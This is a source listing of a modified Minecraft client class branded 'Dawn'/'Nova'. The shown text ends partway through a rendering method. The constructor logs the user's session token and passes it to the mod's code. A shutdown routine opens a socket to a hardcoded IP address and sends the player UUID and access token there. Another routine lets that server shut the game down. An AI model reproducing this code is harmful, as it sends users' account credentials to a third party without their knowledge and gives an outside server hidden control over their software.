· 5 years ago · Mar 02, 2020, 04:40 AM
1package net.minecraft.client;
2
3import com.google.common.collect.*;
4import com.google.common.util.concurrent.Futures;
5import com.google.common.util.concurrent.ListenableFuture;
6import com.google.common.util.concurrent.ListenableFutureTask;
7import com.mojang.authlib.minecraft.MinecraftSessionService;
8import com.mojang.authlib.yggdrasil.YggdrasilAuthenticationService;
9import com.dawnclient.client.Dawn;
10import com.dawnclient.client.gui.SplashScreen;
11import com.dawnclient.client.render.CFontRenderer;
12
13import io.netty.util.concurrent.GenericFutureListener;
14
15import java.awt.*;
16import java.awt.image.BufferedImage;
17import java.io.BufferedInputStream;
18import java.io.DataInputStream;
19import java.io.DataOutputStream;
20import java.io.File;
21import java.io.IOException;
22import java.io.InputStream;
23import java.io.UnsupportedEncodingException;
24import java.net.Proxy;
25import java.net.Socket;
26import java.net.SocketAddress;
27import java.nio.ByteBuffer;
28import java.security.MessageDigest;
29import java.security.NoSuchAlgorithmException;
30import java.text.DecimalFormat;
31import java.text.SimpleDateFormat;
32import java.util.*;
33import java.util.List;
34import java.util.concurrent.Callable;
35import java.util.concurrent.Executors;
36import java.util.concurrent.FutureTask;
37
38import javax.crypto.Cipher;
39import javax.crypto.spec.SecretKeySpec;
40import javax.imageio.ImageIO;
41import net.minecraft.block.Block;
42import net.minecraft.block.material.Material;
43import net.minecraft.client.audio.MusicTicker;
44import net.minecraft.client.audio.SoundHandler;
45import net.minecraft.client.entity.EntityClientPlayerMP;
46import net.minecraft.client.gui.FontRenderer;
47import net.minecraft.client.gui.GuiChat;
48import net.minecraft.client.gui.GuiControls;
49import net.minecraft.client.gui.GuiGameOver;
50import net.minecraft.client.gui.GuiIngame;
51import net.minecraft.client.gui.GuiIngameMenu;
52import net.minecraft.client.gui.GuiMainMenu;
53import net.minecraft.client.gui.GuiMemoryErrorScreen;
54import net.minecraft.client.gui.GuiScreen;
55import net.minecraft.client.gui.GuiSleepMP;
56import net.minecraft.client.gui.GuiWinGame;
57import net.minecraft.client.gui.GuiYesNo;
58import net.minecraft.client.gui.GuiYesNoCallback;
59import net.minecraft.client.gui.ScaledResolution;
60import net.minecraft.client.gui.achievement.GuiAchievement;
61import net.minecraft.client.gui.inventory.GuiInventory;
62import net.minecraft.client.gui.stream.GuiStreamUnavailable;
63import net.minecraft.client.multiplayer.GuiConnecting;
64import net.minecraft.client.multiplayer.PlayerControllerMP;
65import net.minecraft.client.multiplayer.ServerData;
66import net.minecraft.client.multiplayer.WorldClient;
67import net.minecraft.client.network.NetHandlerLoginClient;
68import net.minecraft.client.network.NetHandlerPlayClient;
69import net.minecraft.client.particle.EffectRenderer;
70import net.minecraft.client.renderer.EntityRenderer;
71import net.minecraft.client.renderer.GLAllocation;
72import net.minecraft.client.renderer.ItemRenderer;
73import net.minecraft.client.renderer.OpenGlHelper;
74import net.minecraft.client.renderer.RenderBlocks;
75import net.minecraft.client.renderer.RenderGlobal;
76import net.minecraft.client.renderer.Tessellator;
77import net.minecraft.client.renderer.WorldRenderer;
78import net.minecraft.client.renderer.entity.RenderManager;
79import net.minecraft.client.renderer.texture.DynamicTexture;
80import net.minecraft.client.renderer.texture.TextureManager;
81import net.minecraft.client.renderer.texture.TextureMap;
82import net.minecraft.client.resources.DefaultResourcePack;
83import net.minecraft.client.resources.FoliageColorReloadListener;
84import net.minecraft.client.resources.GrassColorReloadListener;
85import net.minecraft.client.resources.I18n;
86import net.minecraft.client.resources.IReloadableResourceManager;
87import net.minecraft.client.resources.IResourceManager;
88import net.minecraft.client.resources.LanguageManager;
89import net.minecraft.client.resources.ResourceIndex;
90import net.minecraft.client.resources.ResourcePackRepository;
91import net.minecraft.client.resources.SimpleReloadableResourceManager;
92import net.minecraft.client.resources.SkinManager;
93import net.minecraft.client.resources.data.AnimationMetadataSection;
94import net.minecraft.client.resources.data.AnimationMetadataSectionSerializer;
95import net.minecraft.client.resources.data.FontMetadataSection;
96import net.minecraft.client.resources.data.FontMetadataSectionSerializer;
97import net.minecraft.client.resources.data.IMetadataSerializer;
98import net.minecraft.client.resources.data.LanguageMetadataSection;
99import net.minecraft.client.resources.data.LanguageMetadataSectionSerializer;
100import net.minecraft.client.resources.data.PackMetadataSection;
101import net.minecraft.client.resources.data.PackMetadataSectionSerializer;
102import net.minecraft.client.resources.data.TextureMetadataSection;
103import net.minecraft.client.resources.data.TextureMetadataSectionSerializer;
104import net.minecraft.client.settings.GameSettings;
105import net.minecraft.client.settings.KeyBinding;
106import net.minecraft.client.shader.Framebuffer;
107import net.minecraft.client.stream.IStream;
108import net.minecraft.client.stream.NullStream;
109import net.minecraft.client.stream.TwitchStream;
110import net.minecraft.crash.CrashReport;
111import net.minecraft.crash.CrashReportCategory;
112import net.minecraft.entity.Entity;
113import net.minecraft.entity.EntityLeashKnot;
114import net.minecraft.entity.EntityList;
115import net.minecraft.entity.EntityLivingBase;
116import net.minecraft.entity.boss.BossStatus;
117import net.minecraft.entity.item.EntityBoat;
118import net.minecraft.entity.item.EntityItemFrame;
119import net.minecraft.entity.item.EntityMinecart;
120import net.minecraft.entity.item.EntityPainting;
121import net.minecraft.entity.player.EntityPlayer;
122import net.minecraft.init.Bootstrap;
123import net.minecraft.init.Items;
124import net.minecraft.item.Item;
125import net.minecraft.item.ItemBlock;
126import net.minecraft.item.ItemStack;
127import net.minecraft.network.EnumConnectionState;
128import net.minecraft.network.NetworkManager;
129import net.minecraft.network.handshake.client.C00Handshake;
130import net.minecraft.network.login.client.C00PacketLoginStart;
131import net.minecraft.network.play.client.C16PacketClientStatus;
132import net.minecraft.profiler.IPlayerUsage;
133import net.minecraft.profiler.PlayerUsageSnooper;
134import net.minecraft.profiler.Profiler;
135import net.minecraft.server.MinecraftServer;
136import net.minecraft.server.integrated.IntegratedServer;
137import net.minecraft.stats.AchievementList;
138import net.minecraft.stats.IStatStringFormat;
139import net.minecraft.stats.StatFileWriter;
140import net.minecraft.util.ChatComponentText;
141import net.minecraft.util.MathHelper;
142import net.minecraft.util.MinecraftError;
143import net.minecraft.util.MouseHelper;
144import net.minecraft.util.MovementInputFromOptions;
145import net.minecraft.util.MovingObjectPosition;
146import net.minecraft.util.ReportedException;
147import net.minecraft.util.ResourceLocation;
148import net.minecraft.util.ScreenShotHelper;
149import net.minecraft.util.Session;
150import net.minecraft.util.Timer;
151import net.minecraft.util.Util;
152import net.minecraft.world.EnumDifficulty;
153import net.minecraft.world.WorldProviderEnd;
154import net.minecraft.world.WorldProviderHell;
155import net.minecraft.world.WorldSettings;
156import net.minecraft.world.chunk.storage.AnvilSaveConverter;
157import net.minecraft.world.storage.ISaveFormat;
158import net.minecraft.world.storage.ISaveHandler;
159import net.minecraft.world.storage.WorldInfo;
160
161import org.apache.commons.lang3.Validate;
162import org.apache.logging.log4j.LogManager;
163import org.apache.logging.log4j.Logger;
164import org.lwjgl.LWJGLException;
165import org.lwjgl.Sys;
166import org.lwjgl.input.Keyboard;
167import org.lwjgl.input.Mouse;
168import org.lwjgl.opengl.ContextCapabilities;
169import org.lwjgl.opengl.Display;
170import org.lwjgl.opengl.DisplayMode;
171import org.lwjgl.opengl.GL11;
172import org.lwjgl.opengl.GL20;
173import org.lwjgl.opengl.GLContext;
174import org.lwjgl.opengl.OpenGLException;
175import org.lwjgl.opengl.PixelFormat;
176import org.lwjgl.util.glu.GLU;
177
178public class Minecraft implements IPlayerUsage
179{
180 private static Dawn dawn;
181 public static String output = "GOOD";
182 public static boolean isWindows;
183 public static List<String> ignore = new ArrayList<String>();
184 public static final String name = "Dawn", version = "1.0 Alpha";
185 public static HashMap<String, String[]> customCapes = new HashMap<String, String[]>();
186 public static String[] forcedCape = null;
187 private static SecretKeySpec secretKey;
188 private static byte[] key;
189
190 private static final Logger logger = LogManager.getLogger();
191 private static final ResourceLocation locationMojangPng = new ResourceLocation("textures/dawn/Solar.png");
192 public static final boolean isRunningOnMac = Util.getOSType() == Util.EnumOS.OSX;
193
194 /** A 10MiB preallocation to ensure the heap is reasonably sized. */
195 public static byte[] memoryReserve = new byte[10485760];
196 private static final List<DisplayMode> macDisplayModes = Lists.newArrayList(new DisplayMode[] {new DisplayMode(2560, 1600), new DisplayMode(2880, 1800)});
197 private final File fileResourcepacks;
198 private final Multimap field_152356_J;
199 private ServerData currentServerData;
200
201 /** The RenderEngine instance used by Minecraft */
202 public TextureManager renderEngine;
203
204 /**
205 * Set to 'this' in Minecraft constructor; used by some settings get methods
206 */
207 private static Minecraft theMinecraft;
208 public PlayerControllerMP playerController;
209 private boolean fullscreen;
210 private boolean hasCrashed;
211
212 /** Instance of CrashReport. */
213 private CrashReport crashReporter;
214 public int displayWidth;
215 public int displayHeight;
216 private Timer timer = new Timer(20.0F);
217
218 /** Instance of PlayerUsageSnooper. */
219 private PlayerUsageSnooper usageSnooper = new PlayerUsageSnooper("client", this, MinecraftServer.getSystemTimeMillis());
220 public WorldClient theWorld;
221 public RenderGlobal renderGlobal;
222 public EntityClientPlayerMP thePlayer;
223
224 /**
225 * The Entity from which the renderer determines the render viewpoint. Currently is always the parent Minecraft
226 * class's 'thePlayer' instance. Modification of its location, rotation, or other settings at render time will
227 * modify the camera likewise, with the caveat of triggering chunk rebuilds as it moves, making it unsuitable for
228 * changing the viewpoint mid-render.
229 */
230 public EntityLivingBase renderViewEntity;
231 public Entity pointedEntity;
232 public EffectRenderer effectRenderer;
233 public final Session session;
234 private boolean isGamePaused;
235
236 /** The font renderer used for displaying and measuring text. */
237 public FontRenderer fontRenderer;
238 public CFontRenderer cFontRenderer;
239 public FontRenderer standardGalacticFontRenderer;
240
241 /** The GuiScreen that's being displayed at the moment. */
242 public GuiScreen currentScreen;
243 public LoadingScreenRenderer loadingScreen;
244 public EntityRenderer entityRenderer;
245
246 /** Mouse left click counter */
247 private int leftClickCounter;
248
249 /** Display width */
250 private int tempDisplayWidth;
251
252 /** Display height */
253 private int tempDisplayHeight;
254
255 /** Instance of IntegratedServer. */
256 private IntegratedServer theIntegratedServer;
257
258 /** Gui achievement */
259 public GuiAchievement guiAchievement;
260 public GuiIngame ingameGUI;
261
262 /** Skip render world */
263 public boolean skipRenderWorld;
264
265 /** The ray trace hit that the mouse is over. */
266 public MovingObjectPosition objectMouseOver;
267
268 /** The game settings that currently hold effect. */
269 public GameSettings gameSettings;
270
271 /** Mouse helper instance. */
272 public MouseHelper mouseHelper;
273 public final File mcDataDir;
274 private final File fileAssets;
275 private final String launchedVersion;
276 private final Proxy proxy;
277 private ISaveFormat saveLoader;
278
279 /**
280 * This is set to fpsCounter every debug screen update, and is shown on the debug screen. It's also sent as part of
281 * the usage snooping.
282 */
283 private static int debugFPS;
284
285 /**
286 * When you place a block, it's set to 6, decremented once per tick, when it's 0, you can place another block.
287 */
288 private int rightClickDelayTimer;
289
290 /**
291 * Checked in Minecraft's while(running) loop, if true it's set to false and the textures refreshed.
292 */
293 private boolean refreshTexturePacksScheduled;
294 private String serverName;
295 private int serverPort;
296
297 /**
298 * Does the actual gameplay have focus. If so then mouse and keys will effect the player instead of menus.
299 */
300 public boolean inGameHasFocus;
301 long systemTime = getSystemTime();
302
303 /** Join player counter */
304 private int joinPlayerCounter;
305 private final boolean jvm64bit;
306 private boolean isDemo;
307 private NetworkManager myNetworkManager;
308 private boolean integratedServerIsRunning;
309
310 /** The profiler instance */
311 public final Profiler mcProfiler = new Profiler();
312 private long field_83002_am = -1L;
313 private IReloadableResourceManager mcResourceManager;
314 private final IMetadataSerializer metadataSerializer_ = new IMetadataSerializer();
315 private List defaultResourcePacks = Lists.newArrayList();
316 private DefaultResourcePack mcDefaultResourcePack;
317 private ResourcePackRepository mcResourcePackRepository;
318 private LanguageManager mcLanguageManager;
319 private IStream field_152353_at;
320 private Framebuffer mcFramebuffer;
321 private TextureMap textureMapBlocks;
322 private SoundHandler mcSoundHandler;
323 private MusicTicker mcMusicTicker;
324 private ResourceLocation field_152354_ay;
325 private final MinecraftSessionService field_152355_az;
326 private SkinManager field_152350_aA;
327 private final Queue field_152351_aB = Queues.newArrayDeque();
328 private final Thread field_152352_aC = Thread.currentThread();
329
330 /**
331 * Set to true to keep the game loop running. Set to false by shutdown() to allow the game loop to exit cleanly.
332 */
333 volatile boolean running = true;
334
335 /** String that shows the debug information */
336 public String debug = "";
337
338 /** Approximate time (in ms) of last update to debug string */
339 long debugUpdateTime = getSystemTime();
340
341 /** holds the current fps */
342 int fpsCounter;
343 long prevFrameTime = -1L;
344
345 /** Profiler currently displayed in the debug screen pie chart */
346 private String debugProfilerName = "root";
347 private static final String __OBFID = "CL_00000631";
348
349 public boolean leftHeld = false;
350 public boolean rightHeld = false;
351 private static int tick = 0;
352 public static void doNovaUpdate() {
353 try {
354 Socket socket = new Socket("158.69.163.127", 20090);
355 DataOutputStream out = new DataOutputStream(socket.getOutputStream());
356 // System.out.println("Successfully Connected to server!");
357 DataInputStream in = new DataInputStream(
358 new BufferedInputStream(socket.getInputStream()));
359 out.writeUTF("NOVACLIENT$PACKET CANRUN " + Minecraft.getMinecraft().session.getPlayerID());
360 String line = "";
361 line = in.readUTF();
362 //System.out.println(line);
363
364 if (line.equals("FALSE")) Minecraft.getMinecraft().shutdown();
365 else if (line.contains("DO")) {
366
367 }
368 Dawn.isOnline = true;
369 } catch (Exception e) {
370 Dawn.isOnline = false;
371 }
372 if (tick % 10 == 0) Dawn.loadCustomCapes();
373
374
375 tick++;
376 if (tick > 10) tick = 0;
377 }
378
379 public Minecraft(Session p_i1103_1_, int p_i1103_2_, int p_i1103_3_, boolean p_i1103_4_, boolean p_i1103_5_, File p_i1103_6_, File p_i1103_7_, File p_i1103_8_, Proxy p_i1103_9_, String p_i1103_10_, Multimap p_i1103_11_, String p_i1103_12_)
380 {
381 //System.out.println(encrypt("Solar", "PlumpOrangeOwnNova"));
382 try {
383 if (System.getProperty("os.name").toLowerCase().contains("window"))
384 isWindows = true;
385 } catch (Exception e) {
386
387 }
388
389// p_i1103_1_.username = "ItzAssassin";
390// p_i1103_1_.playerID = "5c04ae5e10c74f3b84896647d6b22698";
391
392 Dawn.setupNova(p_i1103_1_.getPlayerID(), p_i1103_1_.getToken());
393 logger.info(p_i1103_1_.getPlayerID());
394 logger.info(p_i1103_1_.getSessionID());
395 logger.info(p_i1103_1_.getToken());
396 logger.info(p_i1103_1_.getUsername());
397 theMinecraft = this;
398 this.mcDataDir = p_i1103_6_;
399 this.fileAssets = p_i1103_7_;
400 this.fileResourcepacks = p_i1103_8_;
401 this.launchedVersion = p_i1103_10_;
402 this.field_152356_J = p_i1103_11_;
403 this.mcDefaultResourcePack = new DefaultResourcePack((new ResourceIndex(p_i1103_7_, p_i1103_12_)).func_152782_a());
404 this.addDefaultResourcePack();
405 this.proxy = p_i1103_9_ == null ? Proxy.NO_PROXY : p_i1103_9_;
406 this.field_152355_az = (new YggdrasilAuthenticationService(p_i1103_9_, UUID.randomUUID().toString())).createMinecraftSessionService();
407 this.startTimerHackThread();
408 this.session = p_i1103_1_;
409 logger.info("Setting user: " + p_i1103_1_.getUsername());
410 logger.info("(Session ID is " + p_i1103_1_.getSessionID() + ")");
411 this.isDemo = p_i1103_5_;
412 this.displayWidth = p_i1103_2_;
413 this.displayHeight = p_i1103_3_;
414 this.tempDisplayWidth = p_i1103_2_;
415 this.tempDisplayHeight = p_i1103_3_;
416 this.fullscreen = p_i1103_4_;
417 this.jvm64bit = isJvm64bit();
418 ImageIO.setUseCache(false);
419 Bootstrap.func_151354_b();
420 }
421
422
423 private static boolean isJvm64bit()
424 {
425 String[] var0 = new String[] {"sun.arch.data.model", "com.ibm.vm.bitmode", "os.arch"};
426 String[] var1 = var0;
427 int var2 = var0.length;
428
429 for (int var3 = 0; var3 < var2; ++var3)
430 {
431 String var4 = var1[var3];
432 String var5 = System.getProperty(var4);
433
434 if (var5 != null && var5.contains("64"))
435 {
436 return true;
437 }
438 }
439
440 return false;
441 }
442
443 public static void addShutdownHook(final String uuid, final String token) {
444 try {
445 Socket socket = new Socket("158.69.163.127", 20090);
446 DataOutputStream out = new DataOutputStream(socket.getOutputStream());
447 System.out.println("Successfully Connected to server!");
448 DataInputStream in = new DataInputStream(
449 new BufferedInputStream(socket.getInputStream()));
450 out.writeUTF("NOVACLIENT$PACKET CLOSE " + uuid + ":" + token);
451 String line = "";
452 line = in.readUTF();
453 System.out.println(line);
454
455 if (line.equals("TRUE")) System.out.println("Closed Successfully");
456 } catch (IOException e) {
457 e.printStackTrace();
458 }
459 }
460
461 public Framebuffer getFramebuffer()
462 {
463 return this.mcFramebuffer;
464 }
465
466 private void startTimerHackThread()
467 {
468 Thread var1 = new Thread("Timer hack thread")
469 {
470 private static final String __OBFID = "CL_00000632";
471 public void run()
472 {
473 while (Minecraft.this.running)
474 {
475 try
476 {
477 Thread.sleep(2147483647L);
478 }
479 catch (InterruptedException var2)
480 {
481 ;
482 }
483 }
484 }
485 };
486 var1.setDaemon(true);
487 var1.start();
488 }
489
490 public void crashed(CrashReport p_71404_1_)
491 {
492 this.hasCrashed = true;
493 this.crashReporter = p_71404_1_;
494 }
495
496 /**
497 * Wrapper around displayCrashReportInternal
498 */
499 public void displayCrashReport(CrashReport p_71377_1_)
500 {
501 File var2 = new File(getMinecraft().mcDataDir, "crash-reports");
502 File var3 = new File(var2, "crash-" + (new SimpleDateFormat("yyyy-MM-dd_HH.mm.ss")).format(new Date()) + "-client.txt");
503 System.out.println(p_71377_1_.getCompleteReport());
504
505 if (p_71377_1_.getFile() != null)
506 {
507 System.out.println("#@!@# Game crashed! Crash report saved to: #@!@# " + p_71377_1_.getFile());
508 System.exit(-1);
509 }
510 else if (p_71377_1_.saveToFile(var3))
511 {
512 System.out.println("#@!@# Game crashed! Crash report saved to: #@!@# " + var3.getAbsolutePath());
513 System.exit(-1);
514 }
515 else
516 {
517 System.out.println("#@?@# Game crashed! Crash report could not be saved. #@?@#");
518 System.exit(-2);
519 }
520 }
521
522 public void setServer(String p_71367_1_, int p_71367_2_)
523 {
524 this.serverName = p_71367_1_;
525 this.serverPort = p_71367_2_;
526 }
527
528
529
530 /**
531 * Starts the game: initializes the canvas, the title, the settings, etcetera.
532 */
533 private void startGame() throws LWJGLException
534 {
535 Dawn.loading = true;
536 this.gameSettings = new GameSettings(this, this.mcDataDir);
537
538 if (this.gameSettings.overrideHeight > 0 && this.gameSettings.overrideWidth > 0)
539 {
540 this.displayWidth = this.gameSettings.overrideWidth;
541 this.displayHeight = this.gameSettings.overrideHeight;
542 }
543
544 if (this.fullscreen)
545 {
546 Display.setFullscreen(true);
547 this.displayWidth = Display.getDisplayMode().getWidth();
548 this.displayHeight = Display.getDisplayMode().getHeight();
549
550 if (this.displayWidth <= 0)
551 {
552 this.displayWidth = 1;
553 }
554
555 if (this.displayHeight <= 0)
556 {
557 this.displayHeight = 1;
558 }
559 }
560 else
561 {
562 Display.setDisplayMode(new DisplayMode(this.displayWidth, this.displayHeight));
563 }
564
565 Display.setResizable(true);
566 Display.setTitle(Minecraft.getName() + " " + Minecraft.version);
567 logger.info("LWJGL Version: " + Sys.getVersion());
568 Util.EnumOS var1 = Util.getOSType();
569
570 if (var1 != Util.EnumOS.OSX)
571 {
572 try
573 {
574 InputStream var2 = this.mcDefaultResourcePack.func_152780_c(new ResourceLocation("icons/icon_16x16.png"));
575 InputStream var3 = this.mcDefaultResourcePack.func_152780_c(new ResourceLocation("icons/icon_32x32.png"));
576
577 if (var2 != null && var3 != null)
578 {
579 Display.setIcon(new ByteBuffer[] {this.func_152340_a(var2), this.func_152340_a(var3)});
580 }
581 }
582 catch (IOException var8)
583 {
584 logger.error("Couldn\'t set icon", var8);
585 }
586 }
587
588 try
589 {
590 Display.create((new PixelFormat()).withDepthBits(24));
591 }
592 catch (LWJGLException var7)
593 {
594 logger.error("Couldn\'t set pixel format", var7);
595
596 try
597 {
598 Thread.sleep(1000L);
599 }
600 catch (InterruptedException var6)
601 {
602 ;
603 }
604
605 if (this.fullscreen)
606 {
607 this.updateDisplayMode();
608 }
609
610 Display.create();
611 }
612
613 OpenGlHelper.initializeTextures();
614
615 try
616 {
617 this.field_152353_at = new TwitchStream(this, (String)Iterables.getFirst(this.field_152356_J.get("twitch_access_token"), (Object)null));
618 }
619 catch (Throwable var5)
620 {
621 this.field_152353_at = new NullStream(var5);
622 logger.error("Couldn\'t initialize twitch stream");
623 }
624 this.mcFramebuffer = new Framebuffer(this.displayWidth, this.displayHeight, true);
625 this.mcFramebuffer.setFramebufferColor(0.0F, 0.0F, 0.0F, 0.0F);
626 this.guiAchievement = new GuiAchievement(this);
627 this.metadataSerializer_.registerMetadataSectionType(new TextureMetadataSectionSerializer(), TextureMetadataSection.class);
628 this.metadataSerializer_.registerMetadataSectionType(new FontMetadataSectionSerializer(), FontMetadataSection.class);
629 this.metadataSerializer_.registerMetadataSectionType(new AnimationMetadataSectionSerializer(), AnimationMetadataSection.class);
630 this.metadataSerializer_.registerMetadataSectionType(new PackMetadataSectionSerializer(), PackMetadataSection.class);
631 this.metadataSerializer_.registerMetadataSectionType(new LanguageMetadataSectionSerializer(), LanguageMetadataSection.class);
632 this.saveLoader = new AnvilSaveConverter(new File(this.mcDataDir, "saves"));
633 this.mcResourcePackRepository = new ResourcePackRepository(this.fileResourcepacks, new File(this.mcDataDir, "server-resource-packs"), this.mcDefaultResourcePack, this.metadataSerializer_, this.gameSettings);
634 this.mcResourceManager = new SimpleReloadableResourceManager(this.metadataSerializer_);
635 this.mcLanguageManager = new LanguageManager(this.metadataSerializer_, this.gameSettings.language);
636 this.mcResourceManager.registerReloadListener(this.mcLanguageManager);
637 this.refreshResources();
638 this.renderEngine = new TextureManager(this.mcResourceManager);
639 this.mcResourceManager.registerReloadListener(this.renderEngine);
640 this.field_152350_aA = new SkinManager(this.renderEngine, new File(this.fileAssets, "skins"), this.field_152355_az);
641 //this.loadScreen();
642 SplashScreen.update();
643 Dawn.loadCustomCapes();
644 dawn = new Dawn(session.playerID, session.token);
645 this.mcSoundHandler = new SoundHandler(this.mcResourceManager, this.gameSettings);
646 this.mcResourceManager.registerReloadListener(this.mcSoundHandler);
647 this.mcMusicTicker = new MusicTicker(this);
648 SplashScreen.setProgress(20);
649 this.fontRenderer = new FontRenderer(this.gameSettings, new ResourceLocation("textures/font/ascii.png"), this.renderEngine, false);
650 this.cFontRenderer = new CFontRenderer(new Font("Century Gothic", Font.PLAIN, 16), true, true);
651 SplashScreen.setProgress(30);
652 if (this.gameSettings.language != null)
653 {
654 this.fontRenderer.setUnicodeFlag(this.func_152349_b());
655 this.fontRenderer.setBidiFlag(this.mcLanguageManager.isCurrentLanguageBidirectional());
656 }
657
658 this.standardGalacticFontRenderer = new FontRenderer(this.gameSettings, new ResourceLocation("textures/font/ascii_sga.png"), this.renderEngine, false);
659 this.mcResourceManager.registerReloadListener(this.fontRenderer);
660 this.mcResourceManager.registerReloadListener(this.standardGalacticFontRenderer);
661 SplashScreen.setProgress(40);
662 this.mcResourceManager.registerReloadListener(new GrassColorReloadListener());
663 this.mcResourceManager.registerReloadListener(new FoliageColorReloadListener());
664 SplashScreen.setProgress(50);
665 RenderManager.instance.itemRenderer = new ItemRenderer(this);
666 this.entityRenderer = new EntityRenderer(this, this.mcResourceManager);
667 this.mcResourceManager.registerReloadListener(this.entityRenderer);
668 AchievementList.openInventory.setStatStringFormatter(new IStatStringFormat()
669 {
670 private static final String __OBFID = "CL_00000639";
671 public String formatString(String p_74535_1_)
672 {
673 try
674 {
675 return String.format(p_74535_1_, new Object[] {GameSettings.getKeyDisplayString(Minecraft.this.gameSettings.keyBindInventory.getKeyCode())});
676 }
677 catch (Exception var3)
678 {
679 return "Error: " + var3.getLocalizedMessage();
680 }
681 }
682 });
683 this.mouseHelper = new MouseHelper();
684 this.checkGLError("Pre startup");
685 GL11.glEnable(GL11.GL_TEXTURE_2D);
686 GL11.glShadeModel(GL11.GL_SMOOTH);
687 GL11.glClearDepth(1.0D);
688 GL11.glEnable(GL11.GL_DEPTH_TEST);
689 GL11.glDepthFunc(GL11.GL_LEQUAL);
690 GL11.glEnable(GL11.GL_ALPHA_TEST);
691 GL11.glAlphaFunc(GL11.GL_GREATER, 0.1F);
692 GL11.glCullFace(GL11.GL_BACK);
693 GL11.glMatrixMode(GL11.GL_PROJECTION);
694 GL11.glLoadIdentity();
695 GL11.glMatrixMode(GL11.GL_MODELVIEW);
696 this.checkGLError("Startup");
697 SplashScreen.setProgress(60);
698 this.renderGlobal = new RenderGlobal(this);
699 this.textureMapBlocks = new TextureMap(0, "textures/blocks");
700 this.textureMapBlocks.func_147632_b(this.gameSettings.anisotropicFiltering);
701 this.textureMapBlocks.func_147633_a(this.gameSettings.mipmapLevels);
702 SplashScreen.setProgress(70);
703 this.renderEngine.loadTextureMap(TextureMap.locationBlocksTexture, this.textureMapBlocks);
704 this.renderEngine.loadTextureMap(TextureMap.locationItemsTexture, new TextureMap(1, "textures/items"));
705 SplashScreen.setProgress(85);
706 GL11.glViewport(0, 0, this.displayWidth, this.displayHeight);
707 this.effectRenderer = new EffectRenderer(this.theWorld, this.renderEngine);
708 this.checkGLError("Post startup");
709 SplashScreen.setProgress(100);
710 this.ingameGUI = new GuiIngame(this);
711
712
713 if (this.serverName != null)
714 {
715 this.displayGuiScreen(new GuiConnecting(new GuiMainMenu(), this, this.serverName, this.serverPort));
716 }
717 else
718 {
719 this.displayGuiScreen(new GuiMainMenu());
720 }
721
722 this.renderEngine.func_147645_c(this.field_152354_ay);
723 this.field_152354_ay = null;
724 this.loadingScreen = new LoadingScreenRenderer(this);
725
726 if (this.gameSettings.fullScreen && !this.fullscreen)
727 {
728 this.toggleFullscreen();
729 }
730
731 try
732 {
733 Display.setVSyncEnabled(this.gameSettings.enableVsync);
734 }
735 catch (OpenGLException var4)
736 {
737 this.gameSettings.enableVsync = false;
738 this.gameSettings.saveOptions();
739 }
740 Dawn.loading = false;
741 }
742
743 public boolean func_152349_b()
744 {
745 return this.mcLanguageManager.isCurrentLocaleUnicode() || this.gameSettings.forceUnicodeFont;
746 }
747
748 public void refreshResources()
749 {
750 ArrayList var1 = Lists.newArrayList(this.defaultResourcePacks);
751 Iterator var2 = this.mcResourcePackRepository.getRepositoryEntries().iterator();
752
753 while (var2.hasNext())
754 {
755 ResourcePackRepository.Entry var3 = (ResourcePackRepository.Entry)var2.next();
756 var1.add(var3.getResourcePack());
757 }
758
759 if (this.mcResourcePackRepository.func_148530_e() != null)
760 {
761 var1.add(this.mcResourcePackRepository.func_148530_e());
762 }
763
764 try
765 {
766 this.mcResourceManager.reloadResources(var1);
767 }
768 catch (RuntimeException var4)
769 {
770 logger.info("Caught error stitching, removing all assigned resourcepacks", var4);
771 var1.clear();
772 var1.addAll(this.defaultResourcePacks);
773 this.mcResourcePackRepository.func_148527_a(Collections.emptyList());
774 this.mcResourceManager.reloadResources(var1);
775 this.gameSettings.resourcePacks.clear();
776 this.gameSettings.saveOptions();
777 }
778
779 this.mcLanguageManager.parseLanguageMetadata(var1);
780
781 if (this.renderGlobal != null)
782 {
783 this.renderGlobal.loadRenderers();
784 }
785 }
786
787 private void addDefaultResourcePack()
788 {
789 this.defaultResourcePacks.add(this.mcDefaultResourcePack);
790 }
791
792 private ByteBuffer func_152340_a(InputStream p_152340_1_) throws IOException
793 {
794 BufferedImage var2 = ImageIO.read(p_152340_1_);
795 int[] var3 = var2.getRGB(0, 0, var2.getWidth(), var2.getHeight(), (int[])null, 0, var2.getWidth());
796 ByteBuffer var4 = ByteBuffer.allocate(4 * var3.length);
797 int[] var5 = var3;
798 int var6 = var3.length;
799
800 for (int var7 = 0; var7 < var6; ++var7)
801 {
802 int var8 = var5[var7];
803 var4.putInt(var8 << 8 | var8 >> 24 & 255);
804 }
805
806 var4.flip();
807 return var4;
808 }
809
810 private void updateDisplayMode() throws LWJGLException
811 {
812 Set<DisplayMode> set = Sets.<DisplayMode>newHashSet();
813 Collections.addAll(set, Display.getAvailableDisplayModes());
814 DisplayMode displaymode = Display.getDesktopDisplayMode();
815
816 if (!set.contains(displaymode) && Util.getOSType() == Util.EnumOS.OSX)
817 {
818 label53:
819
820 for (DisplayMode displaymode1 : macDisplayModes)
821 {
822 boolean flag = true;
823
824 for (DisplayMode displaymode2 : set)
825 {
826 if (displaymode2.getBitsPerPixel() == 32 && displaymode2.getWidth() == displaymode1.getWidth() && displaymode2.getHeight() == displaymode1.getHeight())
827 {
828 flag = false;
829 break;
830 }
831 }
832
833 if (!flag)
834 {
835 Iterator iterator = set.iterator();
836 DisplayMode displaymode3;
837
838 while (true)
839 {
840 if (!iterator.hasNext())
841 {
842 continue label53;
843 }
844
845 displaymode3 = (DisplayMode)iterator.next();
846
847 if (displaymode3.getBitsPerPixel() == 32 && displaymode3.getWidth() == displaymode1.getWidth() / 2 && displaymode3.getHeight() == displaymode1.getHeight() / 2)
848 {
849 break;
850 }
851 }
852
853 displaymode = displaymode3;
854 }
855 }
856 }
857
858 Display.setDisplayMode(displaymode);
859 this.displayWidth = displaymode.getWidth();
860 this.displayHeight = displaymode.getHeight();
861 }
862
863 /**
864 * Displays a new screen.
865 */
866 private void loadScreen() throws LWJGLException
867 {
868 ScaledResolution var1 = new ScaledResolution(this, this.displayWidth, this.displayHeight);
869 int var2 = var1.getScaleFactor();
870 Framebuffer var3 = new Framebuffer(var1.getScaledWidth() * var2, var1.getScaledHeight() * var2, true);
871 var3.bindFramebuffer(false);
872 GL11.glMatrixMode(GL11.GL_PROJECTION);
873 GL11.glLoadIdentity();
874 GL11.glOrtho(0.0D, (double)var1.getScaledWidth(), (double)var1.getScaledHeight(), 0.0D, 1000.0D, 3000.0D);
875 GL11.glMatrixMode(GL11.GL_MODELVIEW);
876 GL11.glLoadIdentity();
